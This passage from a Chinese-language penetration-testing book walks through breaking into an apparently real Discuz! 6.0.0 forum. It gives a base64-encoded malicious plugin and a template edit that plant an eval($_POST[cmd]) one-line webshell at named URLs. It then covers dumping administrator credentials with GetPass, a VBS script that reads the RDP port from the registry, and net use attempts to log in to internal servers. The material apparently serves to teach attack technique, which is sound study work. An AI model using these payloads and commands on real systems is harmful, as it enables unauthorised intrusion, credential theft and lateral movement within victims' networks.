网络攻防实战研究:漏洞利用与提权
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

2.14 通过SQL注入漏洞渗透某服务器并直接提权

服务器的提权是有前提基础的,有的可以直接获取root或者administrator权限,但很多情况下需要接入的基础,例如telnet、远程终端、VPN接入、Radmin等远程控制接入、反弹Shell及WebShell等。本案例通过SQL注入获取WebShell,使用一些工具软件直接获取Windows的账号和密码。

2.14.1 对目标站点的分析和漏洞利用

1.分析与利用漏洞

通过对目标站点进行查看,发现站点使用了Discuz!6.0.0 CMS程序。直接使用exp程序,尝试获取管理员密码。如图2-136所示,顺利获取管理员密码,且管理员没有使用安全提问。

图2-136 获取管理员密码

2.查看其他管理员用户

如果管理员采用了安全提问,虽然有破解程序可以破解,但破解的成功率与字典有关,这时可以通过“统计”或者查看论坛公告等方法寻找拥有管理员权限的用户。如图2-137所示,使用破解的admin账户密码成功登录系统,单击“用户管理”选项卡搜索“管理员”,就可以看到该系统中还存在很多具有管理员权限的用户。

图2-137 获取其他管理员用户

3.获取WebShell

在获取Discuz!6.0.0创始管理员权限的情况下,有4种方法可以获取WebShell,最简单易行的就是插件导入和修改模板,其利用方法如下。

(1)导入插件

导入插件代码如下。

        YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIx
        IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldFNo
        ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjI2OiJhJ109ZXZhbCgkX1BPU1Rb
        Y21kXSk7JGFbJyI7czoxMToiZGVzY3JpcHRpb24iO3M6MDoiIjtzOjEwOiJk
        YXRhdGFibGVzIjtzOjA6IiI7czo5OiJkaXJlY3RvcnkiO3M6MDoiIjtzOjk6
        ImNvcHlyaWdodCI7czowOiIiO3M6NzoibW9kdWxlcyI7czowOiIiO31zOjc6
        InZlcnNpb24iO3M6NToiNi4wLjAiO30=

一句话后门连接的地址为http://bbs.vpser.net/forumdata/cache/plugin_a']=eval($_POST[cmd]);$a['.php。

(2)编辑风格模板

在customfaq.lang.php文件中加入一句话后门“eval($_POST[cmd]); ”,一句话后门连接的地址为http://bbs.vpser.net/templates/default/customfaq.lang.php

使用上面的方法均可以获取WebShell,如图2-138所示。

图2-138 获取WebShell

2.14.2 尝试提权获取管理员权限

1.使用“中国菜刀”的终端连接功能测试能否执行命令

在“中国菜刀”一句话后门管理端中选择刚才获取的WebShell记录,然后选择终端连接,进入命令提示符窗口,执行一些简单的cmd命令测试能否执行命令。

2.上传GetPass程序

Getpass.exe在普通用户权限下也可以获取管理员曾经登录的用户名和密码。如图2-139所示,成功获取管理员密码和用户名的列表。

图2-139 获取管理员密码和权限

3.查看3389端口是否开放

使用“netstat-an | find "3389"”命令查看服务器上是否开放了3389端口,如图2-140所示。如果默认3389端口没有开放(管理员修改到其他端口),则可以使用如下命令来获取端口。

图2-140 获取3389端口开放情况

        Echo Dim ReadComputerName >>port.vbs
        Echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>port.vbs
        Echo Dim TSName, TSRegPath >>port.vbs
        Echo                TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal
    Server\WinStations\RDP-Tcp\PortNumber" >>port.vbs
        Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs
        Echo WScript.Echo("TermService port is:"^&TSName) >>port.vbs
        Cscript port.vbs

4.查看内网情况

分别使用“ipconfig”和“net view”命令查看服务器是否有内网。如图2-141所示,获取服务器IP地址为10.202.17.109,明显是内网IP地址,果然在同网段还有其他服务器。

图2-142 获取系统权限

5.尝试内网渗透并查看权限

使用sfind.exe程序对内网端口进行扫描,然后执行“net use”命令来尝试登录内网服务器。在DOS命令提示符下,可以使用“net use\\\10.202.17.24\admin$ "Zjugh***"/user:Administrator”命令来测试内网服务器是否使用了能够获取服务器权限的口令,如果能执行成功,则可以获取该服务器的权限。在本例中,由于对方服务器设置了不同的口令,因此执行命令失败,但当前服务器的权限为系统权限,如图2-142所示。

图2-142 获取系统权限